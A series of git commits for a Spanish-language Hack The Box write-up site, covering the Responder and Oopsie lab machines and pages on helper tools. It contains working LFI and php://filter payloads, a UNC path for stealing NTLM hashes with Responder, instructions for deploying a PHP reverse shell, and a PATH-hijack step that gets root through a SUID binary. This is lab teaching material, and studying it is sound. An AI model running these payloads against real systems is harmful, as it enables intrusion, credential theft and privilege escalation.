19-03-52](https://user-images.githubusercontent.com/103068924/162792891-3feca646-e0be-44fe-bbdc-e3efa5aa1865.png) + +Ya tenemos un poco más de información, podemos ver como el puerto 80 tiene un servicio http. +Vamos a tratar de comprobar en el navegador si podemos acceder algún dominio mediante la ip +de la máquina. + +Para ello nos dirigiremos al navegador (en mi caso firefox) y al tratarse de un sevicio http +introduciremos la siguiente url: + + http://[Ip Víctima] + +![Captura de pantalla -2022-04-11 19-20-45](https://user-images.githubusercontent.com/103068924/162795151-ad70832b-42d8-4e45-96ce-f0ce3dce181d.png) + +![Captura de pantalla -2022-04-08 09-53-42](https://user-images.githubusercontent.com/103068924/162795451-2bbc001e-ea35-40a4-a27e-904c7cbce53d.png) + +![Captura de pantalla -2022-04-08 09-54-10](https://user-images.githubusercontent.com/103068924/162796155-5962787f-1619-437a-bc8c-8c5b365ff4dc.png) + +Como podemos ver, la dirección no nos carga, pero al fijarnos en la url vemos que nos redirige +a una página llamada 'unika.htb'. Tener en cuenta que firefox al no poder cargar la página en +http automáticamente cambia a https para tambien tratar de cargar. Por eso que en firefox al tratar +de cargar la página finalmente nos muestra https pero la página a la que tenemos que acceder es: + + http://unika.htb + +Al igual que en máquinas anteriores, vamos a tratar de introducir los datos del dominio en nuestra +carpeta de hosts para ver si podemos cargar la paǵina. + +Para ello nos dirigiremos al directorio '/etc/hosts' y introduciremos la Ip de la vítima y el host +al que corresponde: + + sudo nano /etc/hosts + + ![Captura de pantalla -2022-04-11 19-39-18](https://user-images.githubusercontent.com/103068924/162798184-53e76dbb-ed24-4b98-9729-efc9b04efa3b.png) + +Introducimos al final del archivola ip y el nombre del host (unika.htb) separados por un espacio. + +![Captura de pantalla -2022-04-11 19-40-46](https://user-images.githubusercontent.com/103068924/162798145-483adee5-9d1d-4e36-8f7f-4abbe371e1e2.png) + +Guardamos: Cntrl + o + +Salimos: Cntrl + x + +Una vez terminado esto, regresamos a nuestro navegador y tratamos de recargar la página http://unika.htb. + +![Captura de pantalla -2022-04-08 10-20-23](https://user-images.githubusercontent.com/103068924/162798526-041b6223-048d-43d7-a4bf-3610c6f95e71.png) + +Genial, ya tenemos acceso a la página. Como podemos ver, se trata de una empresa de diseño y estetica web. +Ahora vamos a tratar de revisar la página para buscar algo que nos pueda servir. + +Despues de estar un rato revisando la página veo que la unica pestaña que parece hacer algo es la EN, que +nos ofrece poder cambiar de idioma. + +![Captura de pantalla -2022-04-11 20-09-20](https://user-images.githubusercontent.com/103068924/162803508-7136d632-8a13-4123-98f1-47d6375ed705.png) + +Al cambiar al frances (FR) o al alemán (DE), algo interesante es que +la página cambia de url y nos redirige a una página html (más vulnerable). + +![Captura de pantalla -2022-04-11 20-15-17](https://user-images.githubusercontent.com/103068924/162803532-ac1ae87d-fcb3-4f96-aafc-ecc2a8c9306a.png) + +Los sitios web dinámicos incluyen páginas HTML sobre la marcha utilizando información de la solicitud +HTTP para incluir parámetros GET y POST, cookies y otras variables. Es común que una página 'incluya' +otra página en función de algunos de estos parámetros. + +Para tratar de acceder al sistema, vamos a utilizar una tecnica conocida como Local Fail Intrusion LFI. + +# Local Fail Intrusion + +Un local fail intrusion (inclusión de archivos locales) ocurre cuando un atacante puede hacer que un sitio +web incluya un archivo que posteriormente utilizará en su beneficio. + +Si la aplicación trata esta entrada como confiable y no se realizan las comprobaciones de seguridad requeridas +en esta entrada, entonces el atacante puede explotarla usando la cadena ../ en el nombre de la página ingresada +y eventualmente ver los archivos confidenciales en el sistema de archivos local. + +La cadena ../ se usa para recorrer un directorio hacia atras, uno a la vez. Por lo tanto, se +incluyen varias cadenas ../ en la URL para que el controlador de archivos en el servidor vuelva +al directorio base, es decir, C:. + +Luego, cargaremos un archivo remoto en el host proporcionandole un nombre comun en windows para que +el sistema no pueda detectarlo como malicioso. + +Uno de los archivos más comunes a los que un probador de penetración podría intentar acceder en una +máquina con Windows para verificar LFI es el archivo de 'hosts'. + + WINDOWS/System32/drivers/etc/hosts + +(Este archivo ayuda en la traducción local de nombres de host a direcciones IP). + +En nuestro caso vemos que al cambiar de idioma al frances (FR) se nos muestra una 'page=' en la +url. Aquí es donde mediante la cadena ../ retrocederemos hasta el directorio inicial y luego +nos dirigiremos al archivo 'hosts'. Para ello introduciremos las siguientes ordenes en la url. + + http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts + +![Captura de pantalla -2022-04-11 21-38-44](https://user-images.githubusercontent.com/103068924/162816667-ebe0d677-98bc-43bf-8470-ad7a6f6383ad.png) + +Como se puede ver, el Local File Inclusion es posible ya que podemos ver el contenido del archivo 'host' en +situado en el directorio C:/windows/system32/drivers/etc/hosts + +![Captura de pantalla -2022-04-11 21-33-58](https://user-images.githubusercontent.com/103068924/162816016-aa5b7b18-5f76-497a-82f3-ea4a9cb5211e.png) + +Esto es posible porque en el backend se usa el método 'include()' de PHP para añadir las URL de las página web +de otros idiomas. Y debido a que no se realiza una desinfección adecuada en este parámetro, pudimos pasar +entradas maliciosas y ver los archivos internos del sistema. + +# Include() + +El metodo 'include() en php, toma todo el texto/código/marcado que existe en el archivo especificado y lo carga +en la memoria, haciéndolo disponible para su uso. + +Sabemos que esta página web es vulnerable a la vulnerabilidad de inclusión de archivos y se sirve +en un máquina de ventanas. Por lo tanto, existe la posibilidad de incluir un archivo en la estación +de trabajo de nuestro atacante. + +Podemos utilizar un protocolo como SMB para que Windows intente autenticarse en nuestra máquina y +poder capturar el NetNTLMv2. + +# NTLM + +NTLM es una colección de protocolos de autenticación creados por Microsoft. + +El proceso de autenticación NTLM se realiza de la siguiente manera: + + 1. El cliente envía el nombre de usuario y el nombre de dominio al servidor. + + 2. El servidor genera una cadena de caracteres aleatorios, denominada desafío y la devuelve al cliente. + + 3. El cliente cifra el desafío con el hash NTLM de la contraseña del usuario y lo envía de vuelta al servidor. + + 4. El servidor recupera la contraseña de usuario (o equivalente). + + 5. El servidor utiliza el valor hash recuperado de la base de datos de la cuenta de seguridad + para cifrar la cadena de desafío. Luego, el valor se compara con el valor recibido del cliente. + Si los valores coinciden, el cliente se autentica. + + En el archivo de configuración 'php.ini' de la maquina, si 'allow_url_include' está configurado en 'Desactivado' + de forma predeterminada indica que PHP no carga URL HTTP o FTP remotas para evitar ataques de inclusión + de archivos remotos. + + Sin embargo, incluso si allow_url_include y allow_url_fopen están configurados en 'Off', PHP no impedirá + la carga de URL de SMB. + + En nuestro caso, podemos hacer un mal uso de esta funcionalidad para robar el hash NTLM. + + Ahora, podemos intentar cargar una URL de SMB y capturar los valores hash del objetivo mediante 'Responder'. + + # Herramienta Responder + + Responder es una herramienta que puede realizar muchos tipos diferentes de ataques, pero para este escenario, + configurará un servidor SMB malicioso. + + Cuando la máquina de destino intenta realizar la autenticación NTLM en ese servidor, Responder devuelve un + desafío para que el servidor cifre con la contraseña del usuario. + + Cuando el servidor responde, Responder utilizará el desafío y la respuesta cifrada para generar el NetNTLMv2. + + Si bien no podemos revertir NetNTLMv2, podemos probar muchas contraseñas comunes diferentes para ver si + alguna genera la misma respuesta de desafío y, si encontramos una, sabemos que esa es la contraseña. + + Esto a menudo se conoce como descifrado de hash, lo que haremos con un programa llamado John The Ripper. + + Primero nos clonaremos el repositorio de la herramienta Responder del siguiente repositorio: + + sudo git clone https://github.com/SpiderLabs/Responder + +![Captura de pantalla -2022-04-11 22-28-50](https://user-images.githubusercontent.com/103068924/162826505-7365e10f-5098-48a6-9442-97f614dfd888.png) + + Recordar que el repositorio 'Responder' se clonara el directorio en el que nos encontremos. + Ahora podemos ver como dentro del directorio 'Responder' se han clonado los siguientes + archivos: + + ![Captura de pantalla -2022-04-11 22-31-04](https://user-images.githubusercontent.com/103068924/162827046-93ba9dfa-fbe9-4396-bbaa-af556f168f95.png) + + Ahora vamosa a comprobar que en archivo 'Responder.conf' tenemos configurados los parametros de escucha + SQL y SMB en On. Para ver el archivo podemos utilizar el comando 'cat' y para modificarlo el comando 'nano'. + + nano Responder.conf + + ![Captura de pantalla -2022-04-11 22-45-54](https://user-images.githubusercontent.com/103068924/162829073-13d21638-c3a8-4f37-a686-eec04a244055.png) + + En caso de estar en modo off lo cambiamos al on, guardamos (Cntrl + o) y salimos (Cntrl + x). + + Ya tendriamos la herramienta Responder preparada. Ahora debemos iniciar Responder con python3 + y utilizar el indicado -I para activar el modo escucha. + + sudo python3 Responder.py -I tun0 + +![Captura de pantalla -2022-04-11 22-58-20](https://user-images.githubusercontent.com/103068924/162831086-07194fd6-8afb-40a1-ad6f-1b65af7975be.png) + +![Captura de pantalla -2022-04-11 22-59-03](https://user-images.githubusercontent.com/103068924/162831102-c08c5c76-bac8-4c54-821b-466124bfd0eb.png) + + Una vez tenemos el Responder listo y en escucha, debemos configurar un parámetro dentro del servidor de la + máquina para que incluya un recurso de nuestro servidor SMB. + + Este parámetro lo configuraremos mediante el navegador web. Para ello incluiremos nuestra ip (tun0) lo cual + podemos ver mediante el comando 'ifconfig'. + + http://unika.htb/?page=//[Ip de nuestra tun0]/somefile + +![Captura de pantalla -2022-04-12 00-04-50](https://user-images.githubusercontent.com/103068924/162841324-0250adad-5f7f-49ed-b487-81740e71a37a.png) + +Tras intentar realizar la escucha varias veces y recargar la página no consdigo establecer la conexión. +He revisado varias veces la configuración y por algún motivo Responder no me funciona. + +# File Local Inlcusion PHP + +Así que tras ver que con Responder no podía, empece a buscar vulnerabilidades comunes de File Local Intrusion +y tras mucho investigar encontre una intrusión conocida como wrapper php//filter. + +Donde básicamente mediante el buscador, incluimos una dirección que nos reporta el hash en base64. +Tras probar las distintas obciones, está fue la que me funciono a mi: + + page=php://filter/convert.base64-encode/resource=index.php + +Aqui podeís encontrar más información y más vulnerabilidades de Local File Intrusion PHP: +https://book.hacktricks.xyz/pentesting-web/file-inclusion + +![Captura de pantalla -2022-04-12 00-21-23](https://user-images.githubusercontent.com/103068924/162842965-294ea05b-12cf-4ec2-a433-38b95db263a9.png) + +Lo introduciomos en el buscador: + +![Captura de pantalla -2022-04-12 00-26-52](https://user-images.githubusercontent.com/103068924/162843528-2e662ba0-3eac-4d45-9d45-baf37a28d250.png) + + http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php + +Y al recargar la página podemos ver como se nos reporta un hash en base64. + +![Captura de pantalla -2022-04-12 00-35-10](https://user-images.githubusercontent.com/103068924/162844358-0814ecd9-5089-43f5-abdc-b0aa0a863e9c.png) + +Lo copiaremos para poder pasarlo a una terminar y tratar de descifrarlo. + + + From d4cfdba0761967d97e154dd552df14208e68aee8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:52:34 +0200 Subject: [PATCH 0008/1701] Update index.md --- index.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/index.md b/index.md index 213c75bdc4b..4bd75abac13 100644 --- a/index.md +++ b/index.md @@ -1,3 +1,7 @@ +# Hack The Box + +## Starting Points + [HTB-Oopsie](./another-page2.html) [HTB-Responder](./HTB-Responder.html) From f959a76a03e2c31f90493986127c278a5de6ac67 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:54:23 +0200 Subject: [PATCH 0009/1701] Rename another-page2.md to HTB-Oopsie.md --- another-page2.md => HTB-Oopsie.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename another-page2.md => HTB-Oopsie.md (100%) diff --git a/another-page2.md b/HTB-Oopsie.md similarity index 100% rename from another-page2.md rename to HTB-Oopsie.md From 84b551fcef9b7807ae750c862b315ac1248672fe Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:54:50 +0200 Subject: [PATCH 0010/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 4bd75abac13..c6b81dc5558 100644 --- a/index.md +++ b/index.md @@ -2,7 +2,7 @@ ## Starting Points -[HTB-Oopsie](./another-page2.html) +[HTB-Oopsie](./HTB-Oopsie.html) [HTB-Responder](./HTB-Responder.html) From ec5080dfdc30dfc7cab8a0486d780c9fca605f1c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:56:17 +0200 Subject: [PATCH 0011/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index c6b81dc5558..880d22d2e9b 100644 --- a/index.md +++ b/index.md @@ -1,11 +1,11 @@ -# Hack The Box +# **Hack The Box** ## Starting Points [HTB-Oopsie](./HTB-Oopsie.html) - [HTB-Responder](./HTB-Responder.html) + --- layout: default --- From 1d97ce2bdcd2896c428f5ce87ddd7a2f5f878129 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:01:15 +0200 Subject: [PATCH 0012/1701] Update index.md --- index.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/index.md b/index.md index 880d22d2e9b..d8ef621b2d0 100644 --- a/index.md +++ b/index.md @@ -3,9 +3,17 @@ ## Starting Points [HTB-Oopsie](./HTB-Oopsie.html) + [HTB-Responder](./HTB-Responder.html) + +## Herramientas y Scripts + +[wichSystem](./WichSystem.html) + +[extractPorts](./ExtractPorts.html) + --- layout: default --- From 9c52920a440eb644cf12dd5346651cd446fbdfd9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:03:22 +0200 Subject: [PATCH 0013/1701] Create WichSystem.md --- WichSystem.md | 57 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 WichSystem.md diff --git a/WichSystem.md b/WichSystem.md new file mode 100644 index 00000000000..5ca4aa37b0b --- /dev/null +++ b/WichSystem.md @@ -0,0 +1,57 @@ +# WichSystem + +![WichSystem01](https://user-images.githubusercontent.com/103068924/162618801-255da24f-3973-4699-a964-1923a82d393d.png) + +Esta herramienta es un pequeño script en python creado por S4vitar que sirve +para saber si estamos frente un sistema operativo Windows o Linux. + + El script básicamente diferencia entre el ttl de Linux y el de Windows de + forma automáticamente. + + Recordemos que Windows tiene un ttl=128 mientras que Linux tiene un ttl=65. + + # Ejecución: + + wichSystem.py [Ip Víctima] + +![WichSystem2](https://user-images.githubusercontent.com/103068924/162619301-1d8543a0-4089-49b1-a675-98f096684de6.png) + +![WichSystem3](https://user-images.githubusercontent.com/103068924/162619303-e3a46ad0-a3a1-493e-9d84-0dda0ab5fedf.png) + + +# Instalación: + +Para instalar esta herramienta simplemente nos descargamos o copiamos el +archivo wichSystem.py y lo cramos en el directorio /usr/bin/ + +En caso de descargarlo, simplemente lo depositamos en ese directorio. +En caso de crearlo: + +![Captura de pantalla -2022-04-10 15-05-52](https://user-images.githubusercontent.com/103068924/162619644-e78cd89e-28d3-4b20-b190-ea5e62eeffac.png) + +Vamos al directorio: + + cd /usr/bin/ + +Creamos el archivo wichSystem.py: + + sudo nano wichSystem.py + +Copiamos y pegamos el scrip (lo puedes encontrar en este mismo repositorio +como wichSystem.py). + +https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py + +Guardamos : Cntrl + o + +Salimos : Cntrl + x + +Ya tendriamos listo nuestra nueva herramienta WichSystem. + +# Menciones: + +Esta herramienta no la he creado yo, solo la recopilo y comparto su instalación. +El creador de está herramienta es el creador de contenido S4vitar, tiene diversos canales en Youtube y retrasmite en +Twitch sobre temas de ciber seguridad y resolución de maquinas de Hack the Box. + +S4vitar: https://github.com/s4vitar From b99fcb108cbae95d3c787a48e5878636be24d126 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:06:05 +0200 Subject: [PATCH 0014/1701] Create ExtractPorts.md --- ExtractPorts.md | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 ExtractPorts.md diff --git a/ExtractPorts.md b/ExtractPorts.md new file mode 100644 index 00000000000..8fc4f25652f --- /dev/null +++ b/ExtractPorts.md @@ -0,0 +1,40 @@ +# ExtractPorts + +ExtractPorts es una función creada por S4vitar. + +Esta herramienta nos mostrará en formato bat y los puertos encontrados. +Mediante Cntrl + Shift + v podremos pegar los puertos a la terminal +automáticamente. + +![Captura de pantalla -2022-04-10 23-00-33](https://user-images.githubusercontent.com/103068924/162639641-48c8aea9-d14a-4ea2-a38b-cefa0447ffdf.png) + + extractPorts allPorts + + allPorts : Archivo previamente definido. + + ![Captura de pantalla -2022-04-10 23-01-09](https://user-images.githubusercontent.com/103068924/162639721-fab103c8-7fc9-46b7-ab9d-4536ab84a708.png) + + Cntrl + Shift + v : Para pegar los puertos a la terminal. + + # Instalación: + + Para la instalación de esta herramienta previamente se recomienda tener + instalado 'bat' que es una mejora del comando 'cat'. + + Para poder tener está función activa, simplemente nos dirigiremos + a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función. + + Esta función la podéis encontrar tanto en el perfil de S4vitar como + en este repositorio. + + S4vitar: https://github.com/s4vitar + + Mi repositorio: https://github.com/F1r0x/ExtractPorts/blob/main/extractPorts + + ![Captura de pantalla -2022-04-10 23-42-26](https://user-images.githubusercontent.com/103068924/162641184-dd48ed25-c547-4350-a201-de89d0d849e6.png) + +# Menciones: + +Esta función está creada por el creador de contenido S4vitar, podéis +encontrar una gran cantidad de información sobre ciberseguridad en +sus canales de Youtube y Twitch. From fd1c284eee0a84514ef9c09653ff14ed7c67dde6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:06:47 +0200 Subject: [PATCH 0015/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index d8ef621b2d0..b4b0344cf8b 100644 --- a/index.md +++ b/index.md @@ -10,9 +10,9 @@ ## Herramientas y Scripts -[wichSystem](./WichSystem.html) +[WichSystem](./WichSystem.html) -[extractPorts](./ExtractPorts.html) +[ExtractPorts](./ExtractPorts.html) --- layout: default From d39e486e04ed2757700fa2820fd83c781bb2d256 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:27:29 +0200 Subject: [PATCH 0016/1701] Update index.md --- index.md | 124 ------------------------------------------------------- 1 file changed, 124 deletions(-) diff --git a/index.md b/index.md index b4b0344cf8b..98d8970d0ad 100644 --- a/index.md +++ b/index.md @@ -13,127 +13,3 @@ [WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) - ---- -layout: default ---- - -Text can be **bold**, _italic_, ~~strikethrough~~ or `keyword`. - -[Link to another page](./another-page.html). - -There should be whitespace between paragraphs. - -There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project. - -# Header 1 - -This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere. - -## Header 2 - -> This is a blockquote following a header. -> -> When something is important enough, you do it even if the odds are not in your favor. - -### Header 3 - -```js -// Javascript code with syntax highlighting. -var fun = function lang(l) { - dateformat.i18n = require('./lang/' + l) - return true; -} -``` - -```ruby -# Ruby code with syntax highlighting -GitHubPages::Dependencies.gems.each do |gem, version| - s.add_dependency(gem, "= #{version}") -end -``` - -#### Header 4 - -* This is an unordered list following a header. -* This is an unordered list following a header. -* This is an unordered list following a header. - -##### Header 5 - -1. This is an ordered list following a header. -2. This is an ordered list following a header. -3. This is an ordered list following a header. - -###### Header 6 - -| head1 | head two | three | -|:-------------|:------------------|:------| -| ok | good swedish fish | nice | -| out of stock | good and plenty | nice | -| ok | good `oreos` | hmm | -| ok | good `zoute` drop | yumm | - -### There's a horizontal rule below this. - -* * * - -### Here is an unordered list: - -* Item foo -* Item bar -* Item baz -* Item zip - -### And an ordered list: - -1. Item one -1. Item two -1. Item three -1. Item four - -### And a nested list: - -- level 1 item - - level 2 item - - level 2 item - - level 3 item - - level 3 item -- level 1 item - - level 2 item - - level 2 item - - level 2 item -- level 1 item - - level 2 item - - level 2 item -- level 1 item - -### Small image - -![Octocat](https://github.githubassets.com/images/icons/emoji/octocat.png) - -### Large image - -![Branching](https://guides.github.com/activities/hello-world/branching.png) - - -### Definition lists can be used with HTML syntax. - -
-
Name
-
Godzilla
-
Born
-
1952
-
Birthplace
-
Japan
-
Color
-
Green
-
- -``` -Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this. -``` - -``` -The final element. -``` From ed344d7ba67c947d4a56fecd424fc24665db0ddf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:31:09 +0200 Subject: [PATCH 0017/1701] Update index.md --- index.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 98d8970d0ad..3fcbfe87129 100644 --- a/index.md +++ b/index.md @@ -6,10 +6,12 @@ [HTB-Responder](./HTB-Responder.html) - +--- ## Herramientas y Scripts [WichSystem](./WichSystem.html) [ExtractPorts](./ExtractPorts.html) + +--- From f4b479bfcc9c6ecaab296afd6f054c13110ab44f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:34:32 +0200 Subject: [PATCH 0018/1701] Update index.md --- index.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 3fcbfe87129..5a4a603bd8d 100644 --- a/index.md +++ b/index.md @@ -6,7 +6,7 @@ [HTB-Responder](./HTB-Responder.html) ---- + ## Herramientas y Scripts @@ -14,4 +14,7 @@ [ExtractPorts](./ExtractPorts.html) +[php-reverse-shell.php](./php-reverse-shell.html) + + --- From 00c4873b2f751f0fac5e7a28461e6fc1e3e50737 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:38:13 +0200 Subject: [PATCH 0019/1701] Create php-reverse-shell.md --- php-reverse-shell.md | 48 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 php-reverse-shell.md diff --git a/php-reverse-shell.md b/php-reverse-shell.md new file mode 100644 index 00000000000..cd0680922bc --- /dev/null +++ b/php-reverse-shell.md @@ -0,0 +1,48 @@ +# php-reverse-shell.php + +Este script realizará una conexión TCP saliente a una +IP y un puerto codificados. + +El destinatario recibirá un shell ejecutándose como el +usuario actual (normalmente apache). + +# Configuración: + +La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip +por la de nuestro sistema y establecer el puerto por el que queremos ponernos +en escucha. + +Abrimos una terminar y modificamos el archivo php-reverse-shell.php + + sudo nano php-reverse-shell.php + + +![Captura de pantalla -2022-04-13 12-42-02](https://user-images.githubusercontent.com/103068924/163163832-7a4632e4-a547-4ac4-b3a2-24cb5c7075e7.png) + +Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber +cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': + + sudo ifconfig + + +![Captura de pantalla -2022-04-13 12-42-15](https://user-images.githubusercontent.com/103068924/163163897-cf030c6f-617c-458e-b1ab-6f89c3ba5a25.png) + +Guardamos (Cntrl + o) y salimos (Cntrl + x). + +# Ejecución: + +Primero cargamos el archivo php-reverse-shell.php a una máquina víctima. Luego, mediante la herramienta NetCat +nos pondremos por escucha por el puerto previamente definido (en nuestro caso el 8080): + + nc -lnvp 8080 + +Ejecutamos el archivo php-reverse-shell.php (recargamos el navegado en la dirección en la que se encuentre el +archivo). Si todo ha funcionado correctamente se nos tendría que abrir una shell en la terminal en la que estábamos +en escucha. + +![Captura de pantalla -2022-04-13 12-50-19](https://user-images.githubusercontent.com/103068924/163164862-0dba798c-7350-45be-a5d0-343ce80bed36.png) + +En caso de no funcionaros un puerto, seguir probando, ya que en muchas ocasiones esos puertos están cerrados y no +se puede acceder a través de ellos. + +Otra causa de fallo habitual es que el sistema tenga algún firewall que no permita pasar a la reverse shell. From 83f863131c2439d480bccb95162dad9752e8f27b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:43:36 +0200 Subject: [PATCH 0020/1701] Update php-reverse-shell.md --- php-reverse-shell.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/php-reverse-shell.md b/php-reverse-shell.md index cd0680922bc..69a8ef16b6a 100644 --- a/php-reverse-shell.md +++ b/php-reverse-shell.md @@ -6,6 +6,11 @@ IP y un puerto codificados. El destinatario recibirá un shell ejecutándose como el usuario actual (normalmente apache). +# Repositorio: + +Desde aquí podreís copiar el script: +https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php + # Configuración: La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip From 7a1ace2c1fb59de650d2f16f6605fdf62fc4478f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:46:28 +0200 Subject: [PATCH 0021/1701] Update php-reverse-shell.md --- php-reverse-shell.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/php-reverse-shell.md b/php-reverse-shell.md index 69a8ef16b6a..7f504b6411b 100644 --- a/php-reverse-shell.md +++ b/php-reverse-shell.md @@ -9,7 +9,7 @@ usuario actual (normalmente apache). # Repositorio: Desde aquí podreís copiar el script: -https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php +[php-reverse-shell.php](https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php) # Configuración: From d87a1f5ea3f278146f427aebb1d0299e448d048f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:54:20 +0200 Subject: [PATCH 0022/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index f08ec0026af..daab05eb2c2 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -27,7 +27,7 @@ En primer lugar, vamos a comprobar si tenemos conexión nuestro directorio mediante la herramienta 'extractPorts'. Puedes encontrar la descripción y la herramienta extractPorts - creada por S4vitar en mi repositorio: https://github.com/F1r0x/ExtractPorts + creada por S4vitar en mi repositorio: [ExtractPorts](https://f1r0x.github.io/ExtractPorts.html) Es este caso podemos observar los siguientes puertos abiertos por el protocolo TCP: From 58cef0184e5934c911c8b31ef347b92105fde117 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 21:56:58 +0200 Subject: [PATCH 0023/1701] Update ExtractPorts.md --- ExtractPorts.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ExtractPorts.md b/ExtractPorts.md index 8fc4f25652f..47e923413d2 100644 --- a/ExtractPorts.md +++ b/ExtractPorts.md @@ -27,9 +27,9 @@ automáticamente. Esta función la podéis encontrar tanto en el perfil de S4vitar como en este repositorio. - S4vitar: https://github.com/s4vitar + S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) - Mi repositorio: https://github.com/F1r0x/ExtractPorts/blob/main/extractPorts + Mi repositorio: [https://github.com/F1r0x/ExtractPorts/blob/main/extractPorts](https://github.com/F1r0x/ExtractPorts/blob/main/extractPorts) ![Captura de pantalla -2022-04-10 23-42-26](https://user-images.githubusercontent.com/103068924/162641184-dd48ed25-c547-4350-a201-de89d0d849e6.png) From cb805200a87211cf27319d153767f57ebb47c342 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 22:16:48 +0200 Subject: [PATCH 0024/1701] Update HTB-Oopsie.md --- HTB-Oopsie.md | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/HTB-Oopsie.md b/HTB-Oopsie.md index daab05eb2c2..5bc99c0364e 100644 --- a/HTB-Oopsie.md +++ b/HTB-Oopsie.md @@ -501,10 +501,32 @@ escalar privilegios. Un archivo SUID simepre se ejecuta como el usuario propietario del archivo, independientemente de que usuaio pase el comando. -En nuestro caso, el 'butracker' binario es pro piedad de 'root' y por tanto podemos ejecutalo como root ya +En nuestro caso, el 'butracker' binario es propiedad de 'root' y por tanto podemos ejecutalo como root ya que tiene configurado SUID. Para ello ejecutamos 'bugtacker': /usr/bin/bugtracker + +![Captura de pantalla -2022-04-21 09-57-05](https://user-images.githubusercontent.com/103068924/164786353-6e21c5ef-1b8e-465b-808e-371ac1f3b293.png) + +En mi caso probe con 'home' para ver que me reportava: + +![Captura de pantalla -2022-04-21 10-01-29](https://user-images.githubusercontent.com/103068924/164786858-de17dddb-948d-4cd9-82b6-0fb270d85340.png) + +La herramienta acepta la entrada del usuario como nombre del archivo que se leerá con el comando 'cat'. Sin embargo, no especifica la ruta completa al archivo 'cat' y podríamos aprovechar esto. + +Para ello nos dirigiremos al directorio '/tmp': + + cd /tmp + +![Captura de pantalla -2022-04-21 10-49-05](https://user-images.githubusercontent.com/103068924/164787581-b841e8fc-9f0c-4d90-bc2c-22f9c44b40d3.png) + + +Y crearemos un archivo 'cat' que contenga la siguiente ruta '/bin/sh': + + echo '/bin/sh' > cat + + ![Captura de pantalla -2022-04-21 10-49-22](https://user-images.githubusercontent.com/103068924/164787634-3a48e291-f6e5-4415-8bbb-54f197c02657.png) + From 36c082d479b8d830ebf0ed936a6944d3ab2b5a24 Mon Sep 